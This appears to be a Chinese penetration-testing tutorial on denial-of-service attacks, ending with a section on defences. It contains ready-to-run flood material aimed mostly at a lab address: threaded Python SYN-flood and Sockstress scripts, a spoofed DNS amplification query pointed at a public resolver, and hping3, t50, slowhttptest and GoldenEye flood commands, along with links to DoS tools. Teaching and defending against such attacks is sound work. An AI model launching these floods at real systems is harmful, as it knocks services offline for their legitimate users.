渗透测试-拒绝服务

渗透测试-拒绝服务

拒绝服务攻击即是攻击者想办法让目标机器停止提供服务,是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对目标造成麻烦,使某些服务被暂停甚至主机死机,都属于拒绝服务攻击。拒绝服务攻击问题也一直得不到合理的解决,究其原因是因为网络协议本身的安全缺陷,从而拒绝服务攻击也成为了攻击者的终极手法。攻击者进行拒绝服务攻击,实际上让服务器实现两种效果:一是迫使服务器的缓冲区满,不接收新的请求;二是使用IP欺骗,迫使服务器把非法用户的连接复位,影响合法用户的连接。

基本概念

拒绝服务攻击,英文名称是Denial of Service,简称DOS,即拒绝服务,造成其攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽, 最后导致合法的用户请求无法通过。

连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。常用攻击手段有:同步洪流、WinNuke、死亡之PING、Echl攻击、ICMP/SMURF、Finger炸弹、Land攻击、Ping洪流、Rwhod、tearDrop、TARGA3、UDP攻击、OOB等。

注意:Dos不是DOS

分布式拒绝服务攻击

分布式拒绝服务攻击(英文意思是Distributed Denial of Service,简称DDoS)是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。由于攻击的发出点是分布在不同地方的,这类攻击称为分布式拒绝服务攻击,其中的攻击者可以有多个。

分布式拒绝服务攻击可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用,分布式拒绝服务攻击已经出现了很多次,导致很多的大型网站都出现了无法进行操作的情况,这样不仅仅会影响用户的正常使用,同时造成的经济损失也是非常巨大的。

分布式拒绝服务攻击方式在进行攻击的时候,可以对源IP地址进行伪造,这样就使得这种攻击在发生的时候隐蔽性是非常好的,同时要对攻击进行检测也是非常困难的,因此这种攻击方式也成为了非常难以防范的攻击。

注意

  • 一对一的攻击完全拼各自的资源,效果差
  • 多对一的攻击汇聚资源能力强,重点在于量大,属于资源耗尽

攻击现象

  1. 网络异常缓慢(打开文件或访问网站)
  2. 特定网站无法访问
  3. 无法访问任何网站
  4. 垃圾邮件的数量急剧增加
  5. 无线或有线网络连接异常断开
  6. 长时间尝试访问网站或任何互联网服务时被拒绝
  7. 服务器容易断线、卡顿

拒绝服务的攻击也可能会导致目标计算机同一网络中的其他计算机被攻击,互联网和局域网之间的带宽会被攻击导致大量消耗,不但影响目标计算机,同时也影响局域网中的其他计算机。如果攻击的规模较大,整个地区的网络连接都可能会受到影响。

攻击方式

拒绝服务攻击可以具体分成两种形式:带宽消耗型以及资源消耗型。它们都是透过大量合法或伪造的请求占用大量网络以及器材资源,以达到瘫痪网络以及系统的目的。但对于攻击方式的分类,不必太过执着于此

带宽消耗型攻击

拒绝服务带宽消耗攻击可以分为两个不同的层次;洪泛攻击放大攻击。洪泛攻击的特点是利用僵尸程序发送大量流量至受损的受害者系统,目的在于堵塞其带宽。放大攻击与其类似,是通过恶意放大流量限制受害者系统的带宽;其特点是利用僵尸程序通过伪造的源IP(即攻击目标IP)向某些存在漏洞的服务器发送请求,服务器在处理请求后向伪造的源IP发送应答,由于这些服务的特殊性导致应答包比请求包更长,因此使用少量的带宽就能使服务器发送大量的应答到目标主机上。

UDP洪水攻击(User Datagram Protocol floods)

UDP(用户数据报协议)是一种无连接协议,当数据包通过UDP发送时,所有的数据包在发送和接收时不需要进行握手验证。当大量UDP数据包发送给受害系统时,可能会导致带宽饱和从而使得合法服务无法请求访问受害系统。遭受DDoS UDP洪泛攻击时,UDP数据包的目的端口可能是随机或指定的端口,受害系统将尝试处理接收到的数据包以确定本地运行的服务。如果没有应用程序在目标端口运行,受害系统将对源IP发出ICMP数据包,表明“目标端口不可达”。某些情况下,攻击者会伪造源IP地址以隐藏自己,这样从受害系统返回的数据包不会直接回到僵尸主机,而是被发送到被伪造地址的主机。有时UDP洪泛攻击也可能影响受害系统周围的网络连接,这可能导致受害系统附近的正常系统遇到问题。然而,这取决于网络体系结构和线速。

ICMP洪水攻击(ICMP floods)

ICMP(互联网控制消息协议)洪水攻击是通过向未良好设置的路由器发送广播信息占用系统资源的做法。

死亡之Ping(Ping of death)

死亡之Ping是产生超过IP协议能容忍的数据包数,若系统没有检查机制,就会死机。

泪滴攻击(TearDrop)

TearDrop主要针对早期微软操作系统(95、98、3.X、nt)近些年有人发现对2.X版本的Android系统、6.0IOS系统攻击有效。攻击原理很有趣:使用IP分段偏移值实现分段覆盖,接受端处理分段覆盖时可被拒绝服务,简单来说,每个数据要发送前,该数据包都会经过切割,每个小切割都会记录位移的信息,以便重组,但此攻击模式就是捏造位移信息,造成重组时发生问题,造成错误。攻击效果为被攻击者蓝屏、重启、卡死。

Smurf攻击

一个简单的Smurf攻击原理就是:通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包来淹没受害主机的方式进行。最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞。它比ping of death洪水的流量高出1或2个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方崩溃。

注意:

  • Smurf攻击是世界上最古老的DDoS攻击技术
  • 对现代操作系统几乎无效
代码演示
root@kali:~# scapy
>>> send(IP(dst="192.168.52.255",src="192.168.52.130")/ICMP(),verbose=1)

DNS放大攻击

所有放大攻击都利用了攻击者和目标Web资源之间的带宽消耗差异。当在许多请求中放大成本差异时,由此产生的流量可能会破坏网络基础设施。通过发送导致大量响应的小查询,恶意用户可以从更少的内容获得更多。由具有在每个机器人这个倍数乘以僵尸网络进行类似的请求,攻击者是从检测既混淆和收获大大提高了攻击流量的好处。

DNS放大攻击中的一个机器人可以被认为是一个恶意的少年打电话给餐馆并说“我将拥有一切,请给我回电话并告诉我整个订单。”当餐厅要求时一个回叫号码,给出的号码是目标受害者的电话号码。然后,目标接收来自餐馆的电话,其中包含许多他们未请求的信息。

由于每个机器人都要求使用欺骗性IP地址打开DNS解析器,该IP地址已更改为目标受害者的真实源IP地址,然后目标会从DNS解析器接收响应。为了创建大量流量,攻击者以尽可能从DNS解析器生成响应的方式构造请求。结果,目标接收到攻击者初始流量的放大,并且他们的网络被虚假流量阻塞,导致拒绝服务。

DNS放大攻击可分为四个步骤:

  1. 攻击者使用受损端点将带有欺骗性IP地址的UDP数据包发送到DNS recursor。数据包上的欺骗地址指向受害者的真实IP地址。
  2. 每个UDP数据包都向DNS解析器发出请求,通常会传递诸如“ANY”之类的参数,以便接收可能的最大响应。
  3. 在收到请求后,尝试通过响应提供帮助的DNS解析器会向欺骗的IP地址发送大量响应。
  4. 目标的IP地址接收响应,周围的网络基础设施因流量泛滥而变得不堪重负,导致拒绝服务。

虽然一些请求不足以取消网络基础设施,但当此序列在多个请求和DNS解析器之间成倍增加时,目标接收的数据放大可能很大。

代码演示
root@kali:~# scapy
>>> i=IP()
>>> i.dst="202.106.0.20"
>>> i.src="192.168.52.130"
>>> u=UDP()
>>> u.dport=80
>>> d=DNS()
>>> d.rd=1
>>> d.qddount=1
>>> q=DNSQR()
>>> q.qname="qq.com"
>>> q.qtype=255
>>> d.qd=q
>>> send(i/u/d)
.
Sent 1 packets.
>>> 

SNMP放大攻击

简单网络管理协议(SNMP)是一种广泛用于监测健康和网络设备(如路由器)福利协议,计算机设备甚至设备如UPS。简单网络管理协议是一套用来实现SNMP v1应用SNMP v2c和SNMP V3使用IPv4和IPv6。该套件包括:

  • 命令行应用程序:

    从一个SNMP的设备能够检索信息,使用单一的请求(snmpget,snmpgetnext),或多个请求(snmpwalk命令,snmptable,snmpdelta)。

    操纵一个SNMP功能的设备配置信息(snmpset)。

    获取一个固定的信息收集从一个SNMP功能的设备(snmpdf,snmpnetstat,snmpstatus)。

    MIB OID数字和文本形式之间的转换,并显示MIB的内容和结构(snmptranslate)。

  • 一个图形化的MIB浏览器(tkmib),使用TK / Perl。

    一个接收SNMP通知后台应用(snmptrapd)。选择通知可以记录(日志、NT事件日志,或纯文本文件),转到另一个SNMP管理系统,或通过外部应用程序。

    为响应SNMP查询信息管理一个可扩展的代理(snmpd)。这包括一个广泛的MIB信息模块的内置支持,可以使用动态加载的模块扩展,外部脚本和命令,以及SNMP复用(中)和扩展代理协议(协议)。

    为开发新的SNMP应用程序库,用C和Perl APIs。

简单网络管理协议
  • Simple Network Management Protocol

  • 服务端口 UDP 161 / 162

  • 管理站(manager/客户端)、被管理设备(agent/服务端)

  • 管理信息数据库(MIB)是一个信息存储库吗,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象

  • 每一个节点都有一个对象标识符(OID)来唯一的标识

  • IETF定义便准的MIB库/厂家自定义MIB库

攻击原理
  • 请求流量小,查询结果返回流量大

  • 结合伪造源地址实现攻击

NTP放大攻击

NTP放大攻击是一种基于反射的体积分布式拒绝服务(DDoS)攻击,其中攻击者利用网络时间协议(NTP)服务器功能,以便用一定数量的UDP流量压倒目标网络或服务器,使常规流量无法访问目标及其周围的基础设施。

所有放大攻击都利用了攻击者与目标Web资源之间的带宽成本差异。当在许多请求中放大成本差异时,由此产生的流量可能会破坏网络基础设施。通过发送导致大量响应的小查询,恶意用户可以从更少的内容获得更多。当具有在每个机器人这个倍数乘以僵尸网络进行类似的请求,攻击者是从检测既混淆和收获大大提高了攻击流量的好处。

与DNS泛洪不同,DNS放大攻击反映和放大不安全的DNS服务器上的流量,以隐藏攻击的起源并提高其有效性。DNS放大攻击使用带宽较小的设备向不安全的DNS服务器发出大量请求。这些设备对非常大的DNS记录提出了许多小请求,但在发出请求时,攻击者伪造的返回地址是预期受害者的地址。放大允许攻击者仅使用有限的攻击资源来获取更大的目标。

NTP放大,就像DNS放大一样,可以被认为是一个恶意的少年打电话给餐馆并说“我将拥有一切,请给我回电话并告诉我我的整个订单。”当餐厅要求时一个回叫号码,给出的号码是目标受害者的电话号码。然后,目标接收来自餐馆的电话,其中包含许多他们未请求的信息。

网络时间协议旨在允许Internet连接的设备同步其内部时钟,并在Internet体系结构中发挥重要作用。通过利用在某些NTP服务器上启用的monlist命令,攻击者能够将其初始请求流量相乘,从而产生较大的响应。默认情况下,在旧设备上启用此命令,并使用已对NTP服务器发出的请求的最后600个源IP地址进行响应。来自其内存中具有600个地址的服务器的monlist请求将比初始请求大206倍。这意味着拥有1 GB Internet流量的攻击者可以提供200 GB以上的攻击 - 导致攻击流量大幅增加。

NTP放大攻击可以分为四个步骤:

  1. 攻击者使用僵尸网络将带有欺骗IP地址的UDP数据包发送到启用了monlist命令的NTP服务器。每个数据包上的欺骗IP地址指向受害者的真实IP地址。
  2. 每个UDP数据包使用其monlist命令向NTP服务器发出请求,从而产生大量响应。
  3. 然后,服务器使用结果数据响应欺骗地址。
  4. 目标的IP地址接收响应,周围的网络基础设施因流量泛滥而变得不堪重负,导致拒绝服务。

由于攻击流量看起来像来自有效服务器的合法流量,因此很难在不阻止真正NTP服务器合法活动的情况下减轻此类攻击流量。由于UDP数据包不需要握手,因此NTP服务器将向目标服务器发送大量响应,而不验证请求是否可信。这些事实与内置命令相结合,默认情况下发送大量响应,使NTP服务器成为DDoS放大攻击的极好反射源。

网络时间协议
  • Network Time Protocol
  • 保证网络设备时间同步
  • 电子设备互相干扰导致时钟差异越来越大
  • 影响应用正常运行、日志审计不可信
  • 服务端端口UDP 123
攻击原理
  • NTP 服务提供 monlist(MON_GETLIST)查询功能
    • 监控NTP服务器的状况
  • 客户端查询时,NTP服务器返回最后同步时间的600个客户端IP
    • 每6个IP一个数据包,最多100个数据包(放大约100倍)

注意: ntpd 4.2.7p26及以上版本默认关闭monlist功能

开启monlist功能

root@kali:~# vim /etc/ntp.conf
  • restrict -4 default kod nomodify notrap nopeer noquery
  • restrict -6 default kod nomodify notrap nopeer noquery

资源消耗型攻击

协议分析攻击(SYN flood)

SYN Flood是当前最流行的DoS(拒绝服务攻击)与DDoS(Distributed Denial Of Service分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。

SYN Flood攻击的过程在TCP协议中被称为三次握手(Three-way Handshake),而SYN Flood拒绝服务攻击就是通过三次握手而实现的。

  1. 攻击者向被攻击服务器发送一个包含SYN标志的TCP报文,SYN(Synchronize)即同步报文。同步报文会指明客户端使用的端口以及TCP连接的初始序号。这时同被攻击服务器建立了第一次握手。

  2. 受害服务器在收到攻击者的SYN报文后,将返回一个SYN+ACK的报文,表示攻击者的请求被接受,同时TCP序号被加一,ACK(Acknowledgment)即确认,这样就同被攻击服务器建立了第二次握手。

  3. 攻击者也返回一个确认报文ACK给受害服务器,同样TCP序列号被加一,到此一个TCP连接完成,三次握手完成。

具体原理是:TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接。这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒~2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况(伪造IP地址),服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源。即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃—— 即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况就称作:服务器端受到了SYN Flood攻击(SYN洪水攻击)。

IP地址欺骗

IP地址欺骗是指行动产生的IP数据包为伪造的源IP地址,以便冒充其他系统或发件人的身份。这是一种黑客的攻击行为,黑客使用一台计算机上网,而借用另一台机器的IP地址,从而冒充另外一台机器与服务器打交道。

注意:

  • 边界路由器可能会进行过滤,对不合理的源IP数据包进行舍弃。
  • 受害者可能是源地址,也可能是目的地址。
代码演示
root@kali:~# scapy
>>> i=IP()
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 127.0.0.1
  dst= 127.0.0.1
  \options\

>>> i.dst="192.168.52.130"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.52.131
  dst= 192.168.52.130
  \options\

>>> t=TCP()
>>> t.display()
###[ TCP ]### 
  sport= ftp_data
  dport= http
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= []

>>> sr1(i/t,verbose=1,timeout=3)
Begin emission:
Finished sending 1 packets.

Received 3 packets, got 1 answers, remaining 0 packets
>>
>>> 

刚刚我们模拟发送了一个SYN数据包,现在我们用Python去循环发送数据包,在发送之前,我们要对防火墙进行配置,否则防火墙会自动的发送ACK数据包。

root@kali:~# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.52.130 -j DROP
from scapy.all import *
import threading
import random

target = '192.168.52.130'
port = 80
thread = 200

def syn(target,port):
    while True:
        x = random.randint(1024,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

for i in range(thread):
    threading.Thread(target=syn, args=(target,port)).start()

SockStress攻击

SockStress攻击是2008年由Jack C.Louis发现针对TCP服务的拒绝服务攻击。SockStress攻击正好与Syn-Flood攻击原理相反,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同的是,不是耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务器的内存、CPU等资源让网站服务器宕机,属于资源消耗攻击,这种攻击方式的危害性非常大,而且一旦遭受分布式的SockStress攻击,网站以及服务器都会直接瘫痪,给网站运营造成巨大的经济损失。

攻击原理

当服务器端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行,想要恢复服务器的唯一的办法就是断网,并重启服务器。成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(windows的意思代表client这边一次可以接受的数据大小,置为0之后表示client没有windows来接受服务器端发来的数据,然后服务器就会分配内存来维持TCP连接直到client有空闲的windows与之通信),然而攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽服务器的资源。攻击者大量请求建立三次握手连接

特点
  • 消耗被攻击目标系统资源
  • 与攻击目标建立大量socket链接
  • 完成三次握手,最后的ACK包window 大小为0 (客户端不接收数据)
  • 攻击者资源消耗小(CPU、内存、带宽)
  • 异步攻击,单机可拒绝服务高配资源服务器
  • Window 窗口实现的TCP 流控
代码演示
root@kali:~# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.52.130 -j DROP
from scapy.all import *
import threading
import random

target = '192.168.52.130'
port = 80
thread = 200

def sockstress(target,dstport) :
    while True:
        try:
            x = random.randint(1024,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
        except:
            pass

for i in range(thread):
    threading.Thread(target=sockstress, args=(target,port)).start()

作者的C语言攻击脚本

下载地址:https://github.com/defuse/sockstress

root@kali:~/# git clone https://github.com/defuse/sockstress
root@kali:~/# cd sockstress/
root@kali:~/sockstress# gcc -Wall -c sockstress.c
root@kali:~/sockstress# gcc -pthread -o sockstress sockstress.o
root@kali:~/sockstress# ./sockstress 192.168.52.130:80 eth0 
root@kali:~/sockstress# ./sockstress 192.168.52.130:80 eth0 -p payloads/http

关闭防火墙规则

root@kali:~# iptables -D OUTPUT -p tcp --tcp-flags RST RST -d 192.168.52.130 -j DROP
防御措施
  • 直到今天sockstress攻击仍然是一种很有效的DOS攻击方式
  • 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
  • 根本的防御方法是采用白名单(不实际)
  • 折中对策限制单位时间内每IP建的TCP连接数
    • 封杀每30秒与 80 端口建立连接超过 10 个的IP地址
    • iptables -I INPUT -p tcp –dport 80 -m state–state NEW -m recent–set
    • iptables -I INPUT-p tcp -dport 80 -m state-state NEW-m recent -update–seconds 30 -hitcount 10 j DROP
    • 以上规则对DDOS攻击无效

LAND攻击

这种攻击方式与SYN floods类似,不过在LAND攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。

CC攻击(Distributed HTTP flood,分布式HTTP洪水攻击)

CC攻击是DDoS攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求(通常使用HTTP GET)。CC(Challenge Collapsar,挑战黑洞)根据其工具命名,攻击者创造性地使用代理机制,利用众多广泛可用的免费代理服务器发动DDoS攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。

僵尸网络攻击

僵尸网络是指大量被命令与控制(C&C)服务器所控制的互联网主机群。攻击者传播恶意软件并组成自己的僵尸网络。僵尸网络难于检测的原因是,僵尸主机只有在执行特定指令时才会与服务器进行通讯,使得它们隐蔽且不易察觉。僵尸网络根据网络通讯协议的不同分为IRC、HTTP或P2P类等。

应用程序级洪水攻击(Application level floods)

与前面叙说的攻击方式不同,应用程序级洪水攻击主要是针对应用软件层的,也就是高于OSI的。它同样是以大量消耗系统资源为目的,通过向IIS这样的网络服务程序提出无节制的资源申请来迫害正常的网络服务。

应用层DoS
  • 应用服务漏洞

    • 服务代码存在漏洞,遇异常提交数据时程序崩溃
    • 应用处理大量并发请求能力有限,被拒绝的是应用或OS
  • 缓冲区溢出漏洞

    • 向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
    • 影响:远程代码执行、DoS
    • 利用模糊测试法方法发现缓冲区溢出漏洞
  • CesarFTP 0.99 服务漏洞

  • MS12-020 远程桌面协议DoS漏洞

  • Slowhttptest(源自Google)

    • 低带宽应用层慢速DoS攻击(相对于CC等快速攻击而言的慢速)
    • 最早由Python编写,跨平台支持(Linux、Windows、Cygwin、OSX)
    • 尤其擅长攻击ApacheTomcat(几乎百发百中)

    代码地址:https://github.com/shekyan/slowhttptest

    root@kali:~# apt-get install libssl-dev
    root@kali:~# git clone https://github.com/shekyan/slowhttptest.git
    root@kali:~# cd slowhttptest
    root@kali:~# ./configure
    root@kali:~# make
    root@kali:~# make install
    
    • 攻击方法
      • Slowloris and Slow HTTP POST 攻击
        • 耗尽应用的并发连接池,类似于Http层的Syn flood
        • HTTP协议默认在服务器全部接受请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源占用,此类似大量并发导致DoS
        • Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n......
        • Slow HTTP POST:HTTP头的content-length声明长度,但body部分缓慢发送
      • Slow Read attack 攻击
        • 与slowloris and slow POST目的相同,都是耗尽应用的并发连接池
        • 不同之处在于请求正常发送,但慢速读取响应数据
        • 攻击者调整TCP window窗口大小,让服务器慢速返回数据
      • Apache Range Header attack 攻击
        • 客户端传输大文件时,体积超过HTTP Body大小限制时进行分段
        • 耗尽服务器CPU、内存资源
    root@kali:~# ulimit -n 70000
    
    • HTTP Post 攻击模式

      root@kali:~# slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.52.130 -x 10 -p 3
      
    • slowloris 攻击模式

      root@kali:~# slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://192.168.52.130:8090 -x 24 -p 3
      
    • 支持代理

    • 大量应用服务器和安全设备都无法防护慢速攻击

    slowhttptest, a tool to test for slow HTTP DoS vulnerabilities - version 1.7
    Usage: slowhttptest [options ...]

    Test modes:
    -H slow headers a.k.a. Slowloris (default)
    -B slow body a.k.a R-U-Dead-Yet
    -R range attack a.k.a Apache killer
    -X slow read a.k.a Slow Read
    Reporting options:
    -g generate statistics with socket state changes (off)
    -o file_prefix save statistics output in file.html and file.csv (-g required)
    -v level verbosity level 0-4: Fatal, Info, Error, Warning, Debug
    General options:
    -c connections target number of connections (50)
    -i seconds interval between followup data in seconds (10)
    -l seconds target test length in seconds (240)
    -r rate connections per seconds (50)
    -s bytes value of Content-Length header if needed (4096)
    -t verb verb to use in request, default to GET for slow headers and response and to POST for slow body
    -u URL absolute URL of target (http://localhost/)
    -x bytes max length of each randomized name/value pair of followup data per tick, e.g. -x 2 generates X-xx: xx for header or &xx=xx for body, where x is random character (32)
    -f content-type value of Content-type header (application/x-www-form-urlencoded)
    -m accept value of Accept header (text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5)
    Probe/Proxy options:
    -d host:port all traffic directed through HTTP proxy at host:port (off)
    -e host:port probe traffic directed through HTTP proxy at host:port (off)
    -p seconds timeout to wait for HTTP response on probe connection,after which server is considered inaccessible (5)
    Range attack specific options:
    -a start left boundary of range in range header (5)
    -b bytes limit for range header right boundary values (2000)
    Slow read specific options:
    -k num number of times to repeat same request in the connection. Use to multiply response size if server supports persistent connections (1)
    -n seconds interval between read operations from recv buffer in seconds (1)
    -w bytes start of the range advertised window size would be picked from (1)
    -y bytes end of the range advertised window size would be picked from (512)
    -z bytes bytes to slow read from receive buffer with single read() call (5)

拒绝服务攻击工具

RUDY

  • 慢速应用层HTTP POST攻击,与slowhttptest原理相同
  • 每次只传输一个字节的数据
  • 美剧“黑客军团”中曾提到此攻击手段
  • 攻击有表单WEB页面,攻击时需指定攻击的参数名称
  • https://sourceforge.net/projects/r-u-dead-yet/

Hping3

几乎可以定制发送任何TCP/TP数据包,用于测试FW、端口扫描、性能测试

Syn Flood

root@kali:~# hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.52.130
root@kali:~# hping3 -S -P -U -p 80 --flood --rand-source 192.168.52.130

TCP Flood

root@kali:~# hping3 -SARFUP -p 80 --flood --rand-source 192.168.52.130

ICMP Flood

root@kali:~# hping3 -q -n -a 192.168.52.130 --icmp -d 200 --flood 192.168.52.130

UDP Flood

root@kali:~# hping3 -a 192.168.52.130 --udp -s 53 -d 100 -p 53 --flood 192.168.52.130

LAND

  • 特殊类型的SYN Flood攻击
  • 原地址、目的地址都是受害者,受害者与自己完成三次握手
root@kali:~# hping3 -n -a 192.168.52.130 -S -d 100 -p 80 --flood 192.168.52.130

TCP全连接DoS攻击

root@kali:~# nping --tcp-connect --rate=10000 -c 1000000000 -q 192.168.52.130

Siege

  • http/https 压力测试工具,模拟多个用户并发访问请求
root@kali:~# siege -i -c 1000  -g http://192.168.52.130 / 192.168.52.130

T50

root@kali:~# t50 192.168.52.130 --flood --turbo -S --protocol TCP --dport 80
root@kali:~# t50 192.168.52.130 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22

Nmap

root@kali:~# grep dos /usr/share/nmap/scripts/script.db | cut -d "\"" -f 2 

匿名者拒绝服务攻击包

LOIC

HOIC

DDoSer

以上DoS工具不隐藏真实IP地址

XOIC

  • 攻击任意IP地址的指定端口
  • 三种模式:test、normal̵DoS、Attack
  • 支持协议:TCP/HTTP/UDP/ICMP

下载地址:https://tradownload.uk/results/xoic.html

HULK - Http Unbearable Load King

  • Python脚本
  • 随机产生大量唯一的地址请求,避免缓存命中
  • 耗尽WEB服务器资源池

下载地址:https://packetstormsecurity.com/files/download/112856/hulk.zip

DDOSIM

  • 7层拒绝服务工具(模拟多个僵尸机)
  • 随机IP地址
  • 基于TCP连接的攻击
  • 应用层DDoS攻击
  • 正常的HTTP请求、非正常的HTTP请求式DDoS
  • SMTP DDoS
  • 随机端口的TCP连接洪水

GoldenEye

  • http/https拒绝服务攻击工具
  • 安全研究为目的Python脚本
  • 随机攻击向量,keep-alive,避免命中缓存
root@kali:~# wget https://github.com/jseidl/GoldenEye/archive/master.zip
root@kali:~# unzip master.zip
root@kali:~# cd GoldenEye-master/
root@kali:~/GoldenEye-master# ./goldeneye.py http://192.168.52.130:80 -w 50

防御方式

拒绝服务攻击的防御方式通常为入侵检测,流量过滤和多重验证,旨在堵塞网络带宽的流量将被过滤,而正常的流量可正常通过。

防火墙

防火墙可以设置规则,例如允许或拒绝特定通讯协议,端口或IP地址。当攻击从少数不正常的IP地址发出时,可以简单的使用拒绝规则阻止一切从攻击源IP发出的通信。

复杂攻击难以用简单规则来阻止,例如80端口(网页服务)遭受攻击时不可能拒绝端口所有的通信,因为其同时会阻止合法流量。此外,防火墙可能处于网络架构中过后的位置,路由器可能在恶意流量达到防火墙前即被攻击影响。然而,防火墙能有效地防止用户从启动防火墙后的计算机发起攻击。

交换机

大多数交换机有一定的速度限制和访问控制能力。有些交换机提供自动速度限制、流量整形、后期连接、深度包检测和假IP过滤功能,可以检测并过滤拒绝服务攻击。例如SYN洪水攻击可以通过后期连接加以预防。基于内容的攻击可以利用深度包检测阻止。

SYN COOKIE 防火墙是SYN cookie的一个扩展,SYN cookie是建立在TCP堆栈上的,他为linux操作系统提供保护。SYN cookie防火墙是linux的 一大特色,你可以使用一个防火墙来保护你的网络以避免遭受SYN洪水攻击。

下面是SYN cookie防火墙的原理

client firewall server
------ ------ ------
SYN ------ ----->
<----- ------ SYN-ACK(cookie)
ACK ------ ----->
------ SYN ----->
<----- ------ SYN-ACK
------ ACK ----->
-----> relay the ----->
<----- connection <-----

1:一个SYN包从C发送到S

2:防火墙在这里扮演了S的角色来回应一个带SYN cookie的SYN-ACK包给C

3:C发送ACK包,接着防火墙和C的连接就建立了。

4:防火墙这个时候扮演C的角色发送一个SYN给S

5:S返回一个SYN给C

6:防火墙扮演C发送一个ACK确认包给S,这个时候防火墙和S的连接也就建立了

7:防火墙转发C和S间的数据

如果系统遭受SYN Flood,那么第三步就不会有,而且无论在防火墙还是S都不会收到相应在第一步的SYN包,所以我们就击退了这次SYN洪水攻击。

路由器

和交换机类似,路由器也有一定的速度限制和访问控制能力,而大多数路由器很容易受到攻击影响。

黑洞引导

黑洞引导指将所有受攻击计算机的通信全部发送至一个“黑洞”(空接口或不存在的计算机地址)或者有足够能力处理洪流的网络设备商,以避免网络受到较大影响。

流量清洗

当流量被送到DDoS防护清洗中心时,通过采用抗DDoS软件处理,将正常流量和恶意流量区分开。正常的流量则回注回客户网站。这样一来可站点能够保持正常的运作,处理真实用户访问网站带来的合法流量。

你可能感兴趣的:(渗透测试-拒绝服务)